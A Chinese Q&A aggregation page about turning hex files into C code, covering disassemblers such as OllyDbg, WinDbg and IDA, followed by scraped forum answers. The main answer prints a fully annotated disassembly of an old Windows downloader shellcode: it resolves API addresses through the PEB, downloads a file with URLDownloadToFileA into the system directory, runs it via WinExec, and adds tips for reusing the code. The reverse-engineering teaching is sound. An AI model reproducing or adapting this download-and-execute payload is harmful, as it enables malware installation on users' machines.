如何将hex文件转为c语言?
文件有两种,一种是文本文件,一种是程序二进制文件,不管哪种文件都可以用十六进制编码来显示,称为hex文件。
1、文本Hex文件一般不需要转成C语言,更多的是程序二进制文件,用十六进制显示,可以转换成C语言,一般使用相应的反汇编程序来实现,这方面的工具很多,不同的平台略有不同。Windows平台一般常用的OllyDbg、Windbg、IDA,Linux平台使用最多的是GDB和Linux版的IDA。
OllyDbg,简称OD,一般是软件逆向工程爱好者,最先使用的一个工具,但是因为当下不在更新,所以一般用一般用于学习使用,下图中左上角的区域即为反汇编区域 ,用户可以根据汇编指令,分析程序算法,然后自己编写代码。
在Windows平台,特别是x64平台,最好用的反汇编工具除还得是Windbg。将程序载入Windbg后,可以输入u命令来查看程序的反汇编代码。
2、对于编程人员来说,逆向分析是一个基本的技能,但是往往不容易入门,这里举一个例子。以一段早些年ShellCode的十六进制代码为例,代码如下图所示,这段不起眼的代码,实际上实现了一个下载者的功能。
拿到这样的十六进制代码,一般来说,先将其生成二进制文件,然后再分析其指令,通过反汇编指令再写出源码。只需要将上面的十六进制代码,保存到C语言的字符串数组中,写入到一个Exe的文件空段中,再修改指令将其跳转到程序入口处即可,这个过程类似于软件安全领域的壳。
将十六进制代码写入一个exe文件后,就可以将exe文件载入动态调试器进行动态分析或者使用静态反汇编程序进行静态分析,两者的不同在于动态调试器是要运行程序的,而静态反汇编分析不需要运行程序,所以一般恶意程序,都采用静态分析。反汇编开头的一段十六进制代码注释如下:
4AD75021 5A pop edx ; 函数返回的地址保存到edx中
4AD75022 64:A1 30000000 mov eax, dword ptr fs:[30] ; 取peb
4AD75028 8B40 0C mov eax, dword ptr [eax+C] ; peb_link
4AD7502B 8B70 1C mov esi, dword ptr [eax+1C] ; 初始化列表到esi
4AD7502E AD lods dword ptr [esi] ; [esi]->eax + 8的位置即kernel32.dll的地址
4AD7502F 8B40 08 mov eax, dword ptr [eax+8] ; eax=kernel32.dll的地址
4AD75032 8BD8 mov ebx, eax ; ebx=kernel32.dll的基址
4AD75034 8B73 3C mov esi, dword ptr [ebx+3C] ; esi = pe头偏移
4AD75037 8B741E 78 mov esi, dword ptr [esi+ebx+78] ; esi为kernel32.dll导出表的偏移
4AD7503B 03F3 add esi, ebx ; esi = kernel32.dll导出表的虚拟地址
4AD7503D 8B7E 20 mov edi, dword ptr [esi+20] ; edi=ent的偏移地址
4AD75040 03FB add edi, ebx ; edi = ent的虚拟地址
4AD75042 8B4E 14 mov ecx, dword ptr [esi+14] ; ecx = kernel32.dll导出地址的个数
4AD75045 33ED xor ebp, ebp ; ebp=0
4AD75047 56 push esi ; 保存导出表虚拟地址
4AD75048 57 push edi ; 保存ent虚拟地址
4AD75049 51 push ecx ; 保存计数
4AD7504A 8B3F mov edi, dword ptr [edi]
4AD7504C 03FB add edi, ebx ; 定位ent中的函数名
4AD7504E 8BF2 mov esi, edx ; esi为 要查询的函数GetProcAddress即该call的下一个地址是数据
4AD75050 6A 0E push 0E ; 0xe0是GetProcAddress函数的字符个数
4AD75052 59 pop ecx ; 设置循环次数为 0xe
4AD75053 F3:A6 repe cmps byte ptr es:[edi], byte ptr [esi] ; ecx!=0&&zf=1 ecx=ecx-1 cmps判断 GetProcAddress
4AD75055 74 08 je short 4AD7505F ; 如果ENT中的函数名为GetProcAddress跳走
4AD75057 59 pop ecx ; 不相等则将导出地址数出栈
4AD75058 5F pop edi ; ent虚拟地址出栈
4AD75059 83C7 04 add edi, 4 ; edi地址递增4字节 因为ENT的元素大小为4字节
4AD7505C 45 inc ebp ; ebp用于保存ent中定位到GetProcAddress函数时的计数
4AD7505D ^ E2 E9 loopd short 4AD75048 ; 循环查询
4AD7505F 59 pop ecx
4AD75060 5F pop edi
4AD75061 5E pop esi
4AD75062 8BCD mov ecx, ebp ; 计数保存于ecx
4AD75064 8B46 24 mov eax, dword ptr [esi+24] ; esi+0x24 Ordinal序号表偏移地址
4AD75067 03C3 add eax, ebx ; ordinal序号表的虚拟地址
4AD75069 D1E1 shl ecx, 1 ; ecx逻辑增加2倍 因为ordinal序号是WOR类型下面是通过add 来求ordinal所以这里必须扩大2倍
4AD7506B 03C1 add eax, ecx
4AD7506D 33C9 xor ecx, ecx ; ecx=0
4AD7506F 66:8B08 mov cx, word ptr [eax] ; 保存取出的ordinal序号
4AD75072 8B46 1C mov eax, dword ptr [esi+1C] ; eax 为kenrnel32.dll的EAT的偏移地址
4AD75075 > 03C3 add eax, ebx ; eax = kernel32.dll的eat虚拟地址
4AD75077 C1E1 02 shl ecx, 2 ; 同上,扩大4倍因为eat中元素为DWORD值
4AD7507A 03C1 add eax, ecx
4AD7507C 8B00 mov eax, dword ptr [eax] ; eax即为GetProcAddress函数的地址 相对虚拟地址,EAT中保存的RVA
4AD7507E 03C3 add eax, ebx ; 与基址相加求得GetProcAddress函数的虚拟地址
4AD75080 8BFA mov edi, edx ; GetProcAddress字符到edi
4AD75082 8BF7 mov esi, edi ; esi保存GetProcAddress地址
4AD75084 83C6 0E add esi, 0E ; esi指向GetProcAddress字符串的末地址
4AD75087 8BD0 mov edx, eax ; edx为GetProcAddress的地址
4AD75089 6A 04 push 4
4AD7508B 59 pop ecx ; ecx=4
有经验的程序员, 通过分析即明白上面反汇编代码的主要目的就是获取GetProcAddress函数的地址。继续看反汇编代码:
4AD7508C E8 50000000 call 4AD750E1 ; 设置IAT 得到4个函数的地址
4AD75091 83C6 0D add esi, 0D ; 从这里开始实现ShellCode的真正功能
4AD75094 52 push edx
4AD75095 56 push esi ; urlmon
4AD75096 FF57 FC call dword ptr [edi-4] ; 调用LoadLibrarA来加载urlmon.dll
4AD75099 5A pop edx ; edx = GetProcAddress的地址
4AD7509A 8BD8 mov ebx, eax
4AD7509C 6A 01 push 1
4AD7509E 59 pop ecx
4AD7509F E8 3D000000 call 4AD750E1 ; 再次设置 IAT 得到URLDownLoadToFileA
4AD750A4 83C6 13 add esi, 13 ; esi指向URLDownLoadToFileA的末地址
4AD750A7 56 push esi
4AD750A8 46 inc esi
4AD750A9 803E 80 cmp byte ptr [esi], 80 ; 判断esi是否为0x80 这里在原码中有0x80如果要自己用,应该加上一个字节用于表示程序结束
4AD750AC ^ 75 FA jnz short 4AD750A8 ; 跨过这个跳转,需要在OD中CTRL+E修改数据为0x80
4AD750AE 8036 80 xor byte ptr [esi], 80
4AD750B1 5E pop esi
4AD750B2 83EC 20 sub esp, 20 ; 开辟 32 byte栈空间
4AD750B5 > 8BDC mov ebx, esp ; ebx为栈区的指针
4AD750B7 6A 20 push 20
4AD750B9 53 push ebx
4AD750BA FF57 EC call dword ptr [edi-14] ; 调用GetSystemDirectoryA得到系统目录
4AD750BD C70403 5C612E65 mov dword ptr [ebx+eax], 652E615C ; ebx+0x13 系统路径占 0x13个字节
4AD750C4 C74403 04 78650000 mov dword ptr [ebx+eax+4], 6578 ; 拼接下载后的文件路径%systemroot%\system32\a.exe
4AD750CC 33C0 xor eax, eax
4AD750CE 50 push eax
4AD750CF 50 push eax
4AD750D0 53 push ebx
4AD750D1 56 push esi
4AD750D2 50 push eax
4AD750D3 > FF57 FC call dword ptr [edi-4] ; URLDownLoadToFile下载文件为a.exe
4AD750D6 8BDC mov ebx, esp
4AD750D8 50 push eax
4AD750D9 53 push ebx
4AD750DA FF57 F0 call dword ptr [edi-10] ; WinExec执行代码
4AD750DD 50 push eax
4AD750DE FF57 F4 call dword ptr [edi-C] ; ExitThread退出线程
接下来的操作便是通过已获得地址的GetProcAddress()来分别得到GetSystemDirectory()、URLDownLoadToFile()、WinExec()及ExitProcess()函数的地址,并依次执行。到这里实际上有经验的程序员,马上就能写出C语言代码来。 后面的数据区不在分析了,主要是介绍如何操作。
使用C语言,虽然知道了Hex文件的大致流程,但是一般来说,对于汇编指令,更倾向于直接使用asm关键字来使用内联汇编。如下图所示:
通过这个实例 ,相信应该能理解一个大致的流程啦。
...烧写的文件---.hex文件,如何将.hex文件转换为容易解读的语言---C语...
用51反汇编工具 V1.0 智能版(这个可以反汇编的)Hex-Rays插件 v1.0.071108。。。(这个可以反C语言的,貌似是最好的了)但是反出来的效果不太好。。因为官方的要付费,所以没用过,不能给你提供详细步骤了,不好意思 自己去搜索下,研究下吧 呵呵 ...
HEX转换成BIN的原理是怎么样的?求解答
hex文件其实就是bin文件的文本表述。转换程序从hex文件中读取各行的偏移量、数据块,经校验无误后,写入bin文件的指定偏移。
hex2c怎么用
C语言文件中,按照记录长度,记录地址,记录类型和数据记录的顺序来进行写入。而数据以“{”开头,以“}”结束。这个小工具的特点是:简单,针对性强。只针对HEX文件转换成用户定义的C语言文件。使用方法:这个小工具HEX2C在使用过程中,有以下三种格式1. HEX HEX文件地址 C文件地址例如:HEX D:\\HEX....
HEX文件是16进制的,还能转变成汇编或者C语言的格式吗
如果是程序的话..可以反汇编.也就是转换成汇编语言(当然是在没有加密的情况下)..C语言是不可能了..详见我在此的回答:http:\/\/zhidao.baidu.com\/question\/25946733.html
怎么样将HEX文件转化为.c文件
至今还没有软件可以将hex文件直接转化成.c文件,即使使用反汇编软件,反过来的汇编语言也不一定是原来的意思,并且汇编的可移植性很差。
怎样把一个.hex的文件通过反汇编还原成其原来的程序代码?
每一个hex值对应汇编语言里唯一的一条语句或一个操作命令 如90为NOP。标准C++编写的程序 程序入口hex值为55 8BEC,汇编语言为push ebp mov ebp,esp 我想应该会有将HEX数据翻译成汇编语言的工具 网上好象有51反汇编工具,不过主要应该还是靠人来分析,我对单片机也不了解 ...
如何将hex值转为字符串
每两个字符前面加一个%,然后用decodeURI转换就行了 文件必须存成utf-8格式 var hi = '7465737420e6b58be8af95';\/\/var hj = '%74%65%73%74%20%e6%b5%8b%e8%af%95';var hj = prePro(hi);document.write(hi);document.write('');document.write(hj);document.write('');...
hex文件详解及常用合并方法介绍
在多模块系统开发中,hex文件合并技巧显得尤为重要,特别是当涉及IAP升级这样的场景,需将BOOT和APP分区整合为一个文件。hex文件,作为单片机可执行的文件格式,其合并策略至关重要。接下来,我们将深入解析hex文件的结构和常见合并方法。hex文件的本质hex文件是一种用于向单片机加载程序的二进制文件,通过编译...
单片机c语言中的HEX文件怎么转回c文件?
这个是不可逆的呀。有些反汇编工具也许可以勉强把Hex转成C, 但没法转回原来的源文件的。有这方面兴趣,可以玩玩IDA
keil uvision3 hex怎么转变为bin后变大了
应该是你的工具用错了,HEX文件是在代码之后还带有位置信息,而BIN文件只有代码,所以HEX必定比BIN大.一般在编译的时候,项目目录下有个BIN文件同时产生的,就是那个文件.如果只有HEX,那就到网上下一个HEX2BIN的小工具好了.
苏水玉屏: 有两种方法: 1、用相应的IDE(例如:keil)创建一个工程,然后将该C语言文件中的代码复制到工程中的目录下.然后使用keil 对该工程进行编译.这样就可以得到hex文件. 2、使用相应的编译器,一步一步的编译. 不推荐第二种方法因为,单独使用编译器编译需要很多麻烦的步骤,还有可能会出错.直接使用IDE会更加方便省去很多麻烦的步骤.
桐柏县13860269650: 怎样将hex文件转换成c文件 - ?
苏水玉屏: 但并不是所有单片机或处理器都有C编译器的,一般的都有. 下载一个指定的开发环境(有时候自带C编译器),建个工程,把C文件拷到工程文件夹下,然后将工程属性设置一下,产生.hex文件,这样,编译后就有.hex文件了!
桐柏县13860269650: Keil编译的hex 如何转成C语言 - ?
苏水玉屏: HEX代码文件,只能用反汇编软件,生成汇编程序.但这个汇编程序是很难看懂的,需要有丰富的汇编语言编程经验,超强的编程能力和水平,才能看懂,在此基础上,再人工写成C语言程序.这要求C语言和汇编语言都精通. 这不是破解能实现的,也没有软件来转换,只能靠人工.很难.
桐柏县13860269650: hex文件怎样变成c程序吗??用什么软件可以实现呢???? - ?
苏水玉屏: 这个不容易,编译器编译后都是机器码,怎么说呢, Hex文件其实是机器指令码,其中包括操作码,操作数,以及地址等等内容,而我们的汇编语言指令代表的就是这些机器码,汇编就是将汇编语言编译成机器码的过程,反汇编就是将机器码变成指令的过程.C语言的编译先译成汇编再译成机器码,反汇编则反之,
桐柏县13860269650: 在单片机中怎么是hex文件转换为.c文件 - ?
苏水玉屏: 重命名~~把后缀.hex改为.c~~ hex是c经编译器编译成汇编再编译成的可写入CODE的16进制文件~~本来是2进制的机器码~~MS不能转换成C~~
桐柏县13860269650: 如何将单片机HEX文件转换成C语言或汇编 - ?
苏水玉屏: 只能反汇编成汇编语言,而且可读性较差.
桐柏县13860269650: 怎么把hex文件转换成c格式 - ?
苏水玉屏: hex是十六进制文件,是一些代码.不可以转成C.即使能转成汇编也不一定是原来程序的原意.
桐柏县13860269650: 请问hex怎么反汇编为c语言程序呢,谢谢 - ?
苏水玉屏: HEX文件,只能反汇编成汇编言程序,且需要反汇编软件.而且生成的汇编程序,很难读得懂.特别是原HEX代码是由C语言程序生成的,基本上是看不懂了.
桐柏县13860269650: 有那位高手,能不能把HEX文件转换成C语言 - ?
苏水玉屏: 目前世界上并没有办法把C和C++生成的可执行文件反编译成C和C++.
桐柏县13860269650: hex文件转换成C语言 - ?
苏水玉屏: 你应该是嵌入式开发中已经编译成.hex的文件吧, 这个hex文件基本上可以理解为windows中的.exe, 你要是反编译汇编,还能看出点门道,返回C,我在微软的操作系统下从来没比较满意的做成功过,何况你还是在单片机中.